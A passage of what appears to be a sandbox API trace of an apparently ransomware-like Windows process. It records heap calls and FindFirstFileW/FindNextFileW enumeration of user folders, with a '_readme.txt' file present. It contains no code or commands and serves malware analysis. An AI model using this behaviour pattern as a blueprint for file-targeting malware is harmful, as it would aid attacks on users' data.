0x61efac8 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f78 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368de30 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147340 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147398 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61473f0 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368ddc8 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368de98 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x61e7ac0 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147448 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x61e7cc8 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61474a0 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x61e7d30 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61474f8 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147028 | out: hHeap=0x35b0000) returned 1 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7b28 | out: hHeap=0x35b0000) returned 1 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147238 | out: hHeap=0x35b0000) returned 1 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f20 | out: hHeap=0x35b0000) returned 1 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7b90 | out: hHeap=0x35b0000) returned 1 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7bf8 | out: hHeap=0x35b0000) returned 1 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7c60 | out: hHeap=0x35b0000) returned 1 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61472e8 | out: hHeap=0x35b0000) returned 1 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368dd60 | out: hHeap=0x35b0000) returned 1 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147188 | out: hHeap=0x35b0000) returned 1 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368df00 | out: hHeap=0x35b0000) returned 1 [0117.270] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146fd0 | out: hHeap=0x35b0000) returned 1 [0117.271] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x361c840 | out: hHeap=0x35b0000) returned 1 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146fd0 [0117.271] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147130 | out: hHeap=0x35b0000) returned 1 [0117.271] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61471e0 | out: hHeap=0x35b0000) returned 1 [0117.271] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61471e0 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x76) returned 0x360bd48 [0117.271] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61471e0 | out: hHeap=0x35b0000) returned 1 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368df00 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368dd60 [0117.271] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368df00 | out: hHeap=0x35b0000) returned 1 [0117.271] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x360bd48 | out: hHeap=0x35b0000) returned 1 [0117.271] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61471e0 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147130 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147188 [0117.271] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147130 | out: hHeap=0x35b0000) returned 1 [0117.271] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61471e0 | out: hHeap=0x35b0000) returned 1 [0117.271] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368df00 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x61e7c60 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x61e7bf8 [0117.271] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7c60 | out: hHeap=0x35b0000) returned 1 [0117.271] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368df00 | out: hHeap=0x35b0000) returned 1 [0117.271] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61471e0 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147130 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61472e8 [0117.271] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147130 | out: hHeap=0x35b0000) returned 1 [0117.271] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61471e0 | out: hHeap=0x35b0000) returned 1 [0117.271] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0117.271] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61471e0 [0117.272] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147130 [0117.272] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147290 [0117.272] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147130 | out: hHeap=0x35b0000) returned 1 [0117.272] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61471e0 | out: hHeap=0x35b0000) returned 1 [0117.272] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0117.272] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368df00 [0117.272] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x61e7c60 [0117.272] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x310) returned 0x6194728 [0117.272] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61471e0 [0117.272] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x61e7b90 [0117.272] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147130 [0117.272] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f20 [0117.272] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0117.272] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77398870, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77398870, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0117.272] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e9e0d0, ftCreationTime.dwHighDateTime=0x1d56c59, ftLastAccessTime.dwLowDateTime=0xb8e9e0d0, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0xb8e9e0d0, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0117.272] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e9e0d0, ftCreationTime.dwHighDateTime=0x1d56c59, ftLastAccessTime.dwLowDateTime=0xb8e9e0d0, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0xb8e9e0d0, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0117.272] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.272] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61616e8 | out: hHeap=0x35b0000) returned 1 [0117.272] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.272] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61626b8 | out: hHeap=0x35b0000) returned 1 [0117.272] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.272] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.272] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.272] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.272] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.273] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0117.273] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.273] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.273] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.273] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.273] PathFindFileNameW (pszPath="") returned="" [0117.273] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.273] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61472e8 | out: hHeap=0x35b0000) returned 1 [0117.273] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.273] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8f8b4580, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x8f8b4580, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0117.273] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0117.273] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77456f50, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77456f50, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0117.273] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77456f50, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77456f50, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0117.273] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.273] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.273] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.273] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.273] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0117.273] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.273] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.274] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.274] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.274] PathFindFileNameW (pszPath="") returned="" [0117.274] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77456f50, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77456f50, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0117.274] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6145c10 | out: hHeap=0x35b0000) returned 1 [0117.274] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.274] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368df00 | out: hHeap=0x35b0000) returned 1 [0117.274] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.274] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0117.274] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.274] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.274] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.274] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.274] PathFindFileNameW (pszPath="") returned="" [0117.274] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.274] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368df00 | out: hHeap=0x35b0000) returned 1 [0117.274] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.274] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0117.274] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0117.275] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0117.275] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0117.275] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.275] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0117.275] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0117.275] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, 